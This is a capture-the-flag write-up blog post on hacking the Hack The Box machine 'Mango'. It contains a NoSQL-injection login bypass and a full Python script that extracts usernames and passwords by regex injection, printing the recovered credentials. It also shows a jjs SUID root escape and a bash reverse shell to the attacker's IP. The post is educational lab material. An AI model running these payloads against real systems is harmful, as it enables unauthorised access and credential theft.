11 minutes
Hack The Box - Mango
Welcome to another Forest Hex hacking adventure! 🌲🏹
Today I’ll be hacking an HTB box Named Mango.
As always, we start with a port scan. Feel free to jump around.
- Port Scan
- Investigating the Web Server
- Exploiting the Login Page
- Creating a Python Script
- The Final Script
- Getting User
- Getting Root
Port Scan
Pretty standard here, SSH and a web server running on port 80 and 443 for http and https respectively. It looks like the port 80 one got a 403 error from nmap so let’s check out the https one.
Investigating the Web Server
A google clone, neat. From the looks of it I can use the analytics page with full functionality. It’s using PHP according to wappalyzer, and not much else.
After some investigation it turned out the analytics is running software called flexmonster. There may be exploit potential there, but first I decided to load up ZAP and run a vuln scan. It came up empty for the most part, nothing useful.
Searchsploit came up with nothing about flexmonster exploits, and a google search showed some potential but sparse forum posts from concerned users rather than disclosures. I decided to try gobuster at this point to find any hidden directories.
gobuster dir -u "https://10.10.10.162/" -r -a "Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k
-k
ignores SSL issues, -a
sets my user-agent to a normal one in case they have detection, and -r
follows redirects. I point it to a decent directory list and go.
No luck, just a forbidden apache page. I decided to try nikto next, an apache web server scanner.
nikto -host "https://10.10.10.162"
Off the bat we got some domain info from the SSL cert:
CN=staging-order.mango.htb
emailAddress=admin@mango.htb
I also should have noticed that from the nmap scan. While nikto was running I decided to add the hostname to /etc/hosts
and navigate to it.
Exploiting the Login Page
Paydirt! Here’s a login page and we at least know there’s one user named admin probably.
I played around with this page for quite a while. I ran a ZAP vuln scan and test some basic SQL injection but had no luck. I ran nikto and even wapiti, but came up empty.
I then decided to try some other forms of injection, maybe it’s not running SQL at all. I looked up some NoSQL injection techniques and after a little playing around I found a way in. I had to modify the POST request to get it to work, which was easy since I had the site loaded in a ZAP proxy which injects a nice front end on top of the site. Check it out:
As you can see we are able to login, but it’s kind of useless at the moment. It’s under construction and investigating the source doesn’t reveal any new information. However, armed with a success case for NoSQLi, we can brute force character by character to get account information. This could let us into other places, perhaps even SSH access if we are lucky.
Now I’m not familiar with mongoDB, which is the DB being used based on the noSQL injection that worked, but I’ve learned enough to know where to look.
https://docs.mongodb.com/manual/reference/operator/query/ - A lovely reference on what’s called Query and Projection operators. This is why the injection works using $gt
, it stands for greater than and will change the logic that checks for a valid password. In short, instead of checking if you have the user password right, it will check if the user’s password is greater than NULL. Since everything evaluates to greater than null it will always be true and it lets you in.
I found a more specific blog post about what I’m trying to achieve here: https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/
The jist of it is, we can extract information by using {username: {$regex: <char_to_test>.*}}
. Mongo will evaluate the regular expression that’s provided. Regex is a pretty big topic of it’s own, but for here you only need to know that .*
translates to mean match anything, so as long as I get <char_to_test>
right it will evaluate to true and let me in.
Creating a Python Script
Now the page above is a good starting point, but a lot of changes are in order:
- No testing regex special characters.
- Users are not enumerated.
- No valid PHP session id.
To test for regex special characters we need to escape them with \
. This means it will take 2 characters to test these and iterating over a string will no longer work. The solution is to iterate over an array.
Adding Regex Special Characters
char_str = string.ascii_letters + string.digits + "~'`!@#%_=,:;/\""
regex_escapes = ['\{', '\}', '\*', '\^', '\+', '\?', '\-', '\&', '\(', '\)', '\[', '\]', '\\\\', '\<', '\>', '\|']
chars_to_test = list(char_str) + regex_escapes
The above code takes all single character possibilities that aren’t regex special characters and combines them into a single string: char_str
. It then defines an array of escaped regex special characters, and finally it converts char_str
into a list and concatenate it to the list of escaped regular expressions.
I can now iterate chars_to_test
and it will test all special characters, including those which would normally be interperted differently in the regular expression.
Extracting Users
To grab the users instead of the password the payload has to be changed:
username[$regex]=^<CHAR_TO_TEST>.*&password[$gt]=&login=login
Also the method should be different. It’s possible to have user with several of the same starting letters, so instead of stopping at the first character we match the logic will go as follows:
1. Start with an empty list of users.
2. Send users to a function which will attempt to find all users.
a. If the list is empty:
i. Iterate through every character to test.
ii. Append to new list if valid.
iii. Return new list of valid characters.
b. If the list is not empty:
i. Iterate through each user in the list.
a. Iterate through every character to test, appending it to the username.
b. Append to new list if valid.
c. Return list list of valid user strings.
3. If the original list of users == the new list:
a. Return the list, users fully enumerated at this point.
4. If the original list of users != the new list:
a. Replace the original list of users with the new one.
b. Return to step 2 where we send users to function.
This method ensures the script won’t stop at the first valid character for each attempt, and will allow the known users list size to increase as it finds more valid combinations.
['a', 'm']
could turn into ['ad', 'ma', 'mi']
for example if we had admin
, matt
, and mike
as valid values. Once the new list returned is the same as the old one then there is no reason to continue enumerating as it would just repeat infinitely.
Grabbing the PHP Session ID
It’s important to keep the headers valid for these requests. To do so I just copied the valid headers I interecepted in ZAP and did a little regex replace magic to create a dictionary object in python for use with the popular requests
module. One issue with just using it directly like that is the PHP Session ID cookie changes, and I don’t want to manually update it every time it expires.
Grabbing it is very easy with the requests
module:
def grab_sessid_header():
res = requests.get('http://staging-order.mango.htb/', headers=headers, proxies=proxies, verify=False)
phpid = res.cookies['PHPSESSID']
cookie_header = {'Cookie': f'PHPSESSID={phpid}'}
return cookie_header
As well as adding it to your headers
dictionary:
headers.update(grab_sessid_header())
The Final Script
The end result is a script that enumerates all users first, and then attempts to find the passwords for each. You can see it in action:
Here’s the full script.
import requests
import string
# proxies = {"http": "http://127.0.0.1:12480", "https": "http://127.0.0.1:12480"}
proxies = {}
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5',
'Content-Type':'application/x-www-form-urlencoded',
'Origin':'https://staging-order.mango.htb',
'Connection':'keep-alive',
'Referer':'https://staging-order.mango.htb/',
'Upgrade-Insecure-Requests':'1',
'Host':'staging-order.mango.htb'
}
# Returns Chars: [a, c], stops at first if desired, this is useful for passwords
# Expects <CHAR>, replaces with actual char
def iterate_chars(payload, stop_at_first = False):
valid_chars = []
char_str = string.ascii_letters + string.digits + "~'`!@#%_=,:;/\""
regex_escapes = ['\{', '\}', '\*', '\^', '\+', '\?', '\-', '\&', '\(', '\)', '\[', '\]', '\\\\', '\<', '\>', '\|']
chars_to_test = list(char_str) + regex_escapes
for i in chars_to_test:
data = payload.replace('<CHAR>', i)
res = requests.post('http://staging-order.mango.htb/', data=data, allow_redirects=False, headers=headers, proxies=proxies, verify=False)
if res.status_code == 302:
valid_chars.append(i[-1:])
if stop_at_first:
return valid_chars
return valid_chars
# Iterates through all known starts to user strings, attempts to find all valid chars for each
# Returns an updated list of found users
def iterate_users(users):
user_payload = 'username[$regex]=^<CHAR>.*&password[$gt]=&login=login'
new_found_users = []
if len(users) == 0:
found_users = iterate_chars(user_payload)
print(found_users)
return found_users
else:
for user in users:
user_payload = f'username[$regex]=^{user}<CHAR>.*&password[$gt]=&login=login'
new_chars = iterate_chars(user_payload)
if len(new_chars) == 0:
new_found_users.append(user)
else:
for char in new_chars:
new_found_users.append(user+char[-1:])
print(new_found_users)
return new_found_users
def find_user_password(user):
found_chars = ''
while True:
pass_payload = f'username={user}&password[$regex]=^{found_chars}<CHAR>.*&login=login'
new_char = iterate_chars(pass_payload, True)
if len(new_char) == 0:
break
found_chars += new_char[0]
print(f'{user}: {found_chars}')
return found_chars
def iterate_passwords(users):
creds = { user : '' for user in users}
for user in creds:
creds[user] = find_user_password(user)
return creds
# Returns the PHP session ID as a header for requests to update with
def grab_sessid_header():
res = requests.get('http://staging-order.mango.htb/', headers=headers, proxies=proxies, verify=False)
phpid = res.cookies['PHPSESSID']
cookie_header = {'Cookie': f'PHPSESSID={phpid}'}
return cookie_header
# Returns an array of usernames
def find_all_users():
found_users = []
while True:
new_found_users = iterate_users(found_users)
if new_found_users == found_users:
print(found_users)
break
found_users = new_found_users
return found_users
# Grab a new session id first
headers.update(grab_sessid_header())
users = find_all_users()
# users = ['admin', 'mango']
# {'admin': 't9KcS3>!0B#2', 'mango': 'h3mXK8RhU~f{]f5H'}
creds = iterate_passwords(users)
print(creds)
You can see the credentials it found above.
Getting User
The credentials worked for mango
but not admin
.
ssh mango@mango.htb
There was no user.txt
file in his home folder, I decided to use find
to locate it.
find / -name user.txt 2>&1 | grep -v "Permission denied"
Ah ha, it’s under admin! Maybe the password will work locally if I just use su admin
Nice, got it. This was a pretty fun route to user, I always enjoy creating my own exploits.
Getting Root
This shell looks weird immediately. I run /bin/bash
and it returns to the normal prompt, prepended with the user and current directory.
I then checked out what processes were running as root, apache was one of them. I checked the version number: 2.4.29, vulnerable to a local privesc: https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
I don’t really want to wait around until 6:45 am, and I don’t have rights to change the time on the machine so I can’t force it. It’s time to run lse.sh
and see what it says. I downloaded it onto the victim by using python -m SimpleHTTPServer
on kali in the folder I have lse.sh
.
On the victim I ran: wget http://10.10.14.66:8000/lse.sh
and then chmod +x lse.sh
to download it and allow it to be executed. It came back with a couple of unusual SUID binaries:
Mailcap seemed to require sudo access to get root. I gave it a shot, but it asked for a sudo password and neither of the passwords I have worked.
JJS seemed more promising, I found it also listed on GTFOBins: https://gtfobins.github.io/gtfobins/jjs/
It looks like if the SUID bit is set, you can get root without sudo. You can see the commands at the bottom:
sudo sh -c 'cp $(which jjs) .; chmod +s ./jjs'
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs
Now wait, there’s sudo in the first command!
Yep, but look at the command, it’s copying JJS and setting the SUID bit on it. The binary on the system I’m hacking already has this set so I don’t need to run that command. I’ll also need to change the binary the second command is piped into.
It looks like I popped a root shell consider the prompt changed from $
into #
.
But… I can’t interact with it. It’s blinking, but any input is just ignored. Shame really, but there’s a solution, instead of spawning a local shell I can spawn a reverse shell and the input issue should be resolved. I usually grab one from here:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
First I’ll test if I can pop a reverse shell manually with the following commands:
On Victim: `/bin/bash -i >& /dev/tcp/10.10.14.66/15462 0>&1`
On Host: `nc -nvlp 15462`
It works! I got a shell from the user running the command, so if I can get JJS to run it as root I should get a root shell. After a lot of playing around I did not manage to pop a reverse shell.
Finally getting it to work
I realized at one point that it was running dash
instead of bash
and maybe that was messing up the prompt input.
I changed the command to:
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|sh\${IFS}-p _ echo /bin/bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
As I typed the input did not show, but I tried it anyway:
Success! Although I couldn’t see my input the commands were now run. This was a very enjoyable box and I learned a lot about noSQL injection. Until next time this is Brian G. signing off!